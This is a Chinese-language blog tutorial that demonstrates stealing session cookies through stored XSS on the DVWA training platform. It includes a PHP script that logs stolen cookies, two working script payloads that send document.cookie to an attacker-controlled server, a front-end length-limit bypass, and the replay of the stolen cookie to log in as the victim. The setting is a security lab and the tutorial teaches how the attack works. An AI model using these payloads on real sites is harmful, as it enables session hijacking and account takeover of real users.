XSS窃取用户Cookie

发布时间 2023-05-05 10:46:44作者: hkgan

00x01

  概述

  实验概述

  实验拓扑:

    

  XSS的用途之一就是窃取用户的cookie,攻击者利用XSS在网页中插入恶意脚本,一旦用户访问该网页,cookie就会自动地发送到攻击者的服务器中去。

  使用cookie我们可以实现免密登陆,如果能够盗取网站管理员的cookie,那么就可以用管理员的身份直接登录网站后台,而不必非要去获得管理员账号和密码了。

  关于cookie的原理,在前面讲过一期,这里就不赘述了,有兴趣的小伙伴可以看一下:

  【协议】聊聊cookie与session那些事

00x02

  编写远端接收代码

  接收cookie

  在攻击者服务器搭建一个php页面,用于收取远端传过来的cookie,代码如下:

<?php
$cookie = $_GET['cookie'];
$ip = getenv('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$referer = getenv('HTTP_REFERER');
$fp = fopen( 'cookie.txt', 'a');
fwrite($fp,"IP: ".$ip." │ Date And Time: ".$time." | Referer: ".$referer." | Cookie: ".$cookie.'|||');
fclose($fp);
?>

  代码解释如下:

       1、通过$_GET接收传过来的cookie值。
    2、通过getenv方法,可以获取用户ip地址和cookie的来源。
    3、通过date函数,记录下获取到cookie的时间。
    4、通过fopen函数,通过a(追加)的方式,打开cookie.txt文件。
    5、通过fwrite的方式,将我们获取到的信息记录到cookie.txt文件中。

00x03

  利用XSS盗取Cookie

  XSS利用

  web页面以DVWA平台 存储型XSS为例,我们来插入一个恶意JS代码。

  构造如下js代码:

<script>document.write('<img src="http://192.168.211.1/xss/getcookie.php?cookie='+document.cookie+'" width=0 height=0 border=0 />');</script>

    

  通过document.cookie可以读取当前页面的cookie值,然后通过GET方法发送至攻击者服务器。

  选择low安全等级,打开dvwa XSS(stored)页面 :

    

  在Name栏、Message栏均存在存储型XSS,在Message中输入上面的恶意代码,并提交,会发现有输入长度限制:

    

  不过这里是前端长度限制,我们直接修改当前网页代码即可,将maxlength改大:

    

  再次输入,可顺利输入,点击提交即可:

    

  payload建议用这个:用base64编码,让特殊字符友好点

<script>document.write('<img src="http://192.168.43.18/xssGetCookie/getcookie.php?cookie='+window.btoa(unescape(encodeURIComponent(escape(document.cookie))))+'">');</script>

  现在我们模拟用户来访问该页面,成功加载js代码:

    

  查看攻击者服务器,顺利盗取到用户cookie:

    

00x04

  Cookie窃取后的利用

  Cookie利用

  以下是我们窃取到的信息:

    

  可以看到用户的访问地址和使用的cookie值。

  现在攻击者去访问这个页面,由于没有cookie会自动跳转到登陆界面,无法直接访问:

    

  浏览器利用Cookie Editor等插件,使用刚才盗取到的cookie:

    

  再次访问页面,成功利用用户身份,实现无账号密码登陆: